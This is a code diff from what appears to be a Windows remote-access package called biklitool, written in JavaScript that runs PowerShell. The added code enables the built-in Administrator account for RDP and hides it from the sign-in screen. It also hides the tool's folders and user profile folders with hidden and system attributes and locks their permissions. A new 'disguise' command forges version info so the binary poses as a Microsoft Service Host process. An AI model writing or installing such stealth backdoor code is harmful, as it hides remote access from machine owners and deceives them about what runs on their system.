`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
340
712
|
].join(';');
|
|
341
713
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -368,6 +740,7 @@ function createRdpAdministrator() {
|
|
|
368
740
|
} else {
|
|
369
741
|
console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
|
|
370
742
|
}
|
|
743
|
+
hideProtectedFolders();
|
|
371
744
|
}
|
|
372
745
|
|
|
373
746
|
function unhideUser() {
|
|
@@ -381,10 +754,11 @@ function unhideUser() {
|
|
|
381
754
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
382
755
|
targetUser ? [
|
|
383
756
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
384
|
-
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}
|
|
757
|
+
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
758
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
385
759
|
].join(';') : [
|
|
386
760
|
`$props=@($key.Property)`,
|
|
387
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
|
|
761
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
388
762
|
].join(';')
|
|
389
763
|
].join(';');
|
|
390
764
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -402,7 +776,8 @@ function hideUser() {
|
|
|
402
776
|
`if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
403
777
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
404
778
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
405
|
-
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}
|
|
779
|
+
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
780
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
406
781
|
].join(';');
|
|
407
782
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
408
783
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
@@ -418,7 +793,8 @@ function hideFoldersCommand() {
|
|
|
418
793
|
function status() {
|
|
419
794
|
requireWindows();
|
|
420
795
|
const bikli = installedBikliPath();
|
|
421
|
-
|
|
796
|
+
const bikliDesc = bikli ? fileDescription(bikli) : '';
|
|
797
|
+
console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
|
|
422
798
|
const rdp = remoteDesktopState();
|
|
423
799
|
console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
|
|
424
800
|
const wrapper = runWrapper(['status'], { allowFailure: true });
|
|
@@ -432,6 +808,12 @@ function selfTest() {
|
|
|
432
808
|
const ini = fs.readFileSync(wrapperIni, 'utf8');
|
|
433
809
|
const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
|
|
434
810
|
const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
811
|
+
const sampleVBuf = createVsVersionInfo({
|
|
812
|
+
CompanyName: 'Microsoft Corporation',
|
|
813
|
+
FileDescription: 'Service Host: Network Infrastructure Service',
|
|
814
|
+
ProductName: 'Microsoft® Windows® Operating System'
|
|
815
|
+
});
|
|
816
|
+
|
|
435
817
|
const checks = {
|
|
436
818
|
bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
|
|
437
819
|
wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
|
|
@@ -443,6 +825,7 @@ function selfTest() {
|
|
|
443
825
|
remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
|
|
444
826
|
administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
|
|
445
827
|
bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
|
|
828
|
+
serviceHostDisguiseEngine: sampleVBuf.length > 300,
|
|
446
829
|
hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
|
|
447
830
|
};
|
|
448
831
|
for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
|
|
@@ -455,6 +838,7 @@ function help() {
|
|
|
455
838
|
'',
|
|
456
839
|
'Commands:',
|
|
457
840
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
841
|
+
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
458
842
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
459
843
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
460
844
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
@@ -474,6 +858,7 @@ function help() {
|
|
|
474
858
|
function main() {
|
|
475
859
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
476
860
|
if (command === 'install') return install();
|
|
861
|
+
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
477
862
|
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
478
863
|
if (command === 'create-user') return createRdpAdministrator();
|
|
479
864
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
package/config.json
CHANGED
package/lib/bikliwrapper.js
CHANGED
|
@@ -284,34 +284,46 @@ function printStatus(status) {
|
|
|
284
284
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
285
285
|
}
|
|
286
286
|
|
|
287
|
-
function
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
path.join(
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
294
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
295
|
-
];
|
|
296
|
-
for (const folder of folders) {
|
|
297
|
-
if (!fs.existsSync(folder)) continue;
|
|
298
|
-
try {
|
|
299
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
|
|
300
|
-
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
287
|
+
function hideFolder(target, isUserProfile = false) {
|
|
288
|
+
if (!target || !fs.existsSync(target)) return;
|
|
289
|
+
try {
|
|
290
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
291
|
+
if (!isUserProfile) {
|
|
292
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
301
293
|
run(path.join(system32, 'icacls.exe'), [
|
|
302
|
-
|
|
294
|
+
target,
|
|
303
295
|
'/inheritance:r',
|
|
304
296
|
'/grant:r',
|
|
305
297
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
306
298
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
307
299
|
'/c', '/q'
|
|
308
300
|
], { allowFailure: true });
|
|
309
|
-
} catch {
|
|
310
|
-
// Best-effort attribute and permission hardening
|
|
311
301
|
}
|
|
302
|
+
} catch {
|
|
303
|
+
// Best-effort attribute and permission hardening
|
|
312
304
|
}
|
|
313
305
|
}
|
|
314
306
|
|
|
307
|
+
function hideProtectedFolders() {
|
|
308
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
309
|
+
const appFolders = [
|
|
310
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
311
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
312
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
313
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
314
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
315
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
316
|
+
];
|
|
317
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
318
|
+
|
|
319
|
+
const userFolders = [
|
|
320
|
+
path.join(usersDir, 'Administrator'),
|
|
321
|
+
path.join(usersDir, 'admin'),
|
|
322
|
+
path.join(usersDir, 'user')
|
|
323
|
+
];
|
|
324
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
325
|
+
}
|
|
326
|
+
|
|
315
327
|
function install() {
|
|
316
328
|
requireWindows();
|
|
317
329
|
if (!isAdministrator()) return elevateAndRun('install');
|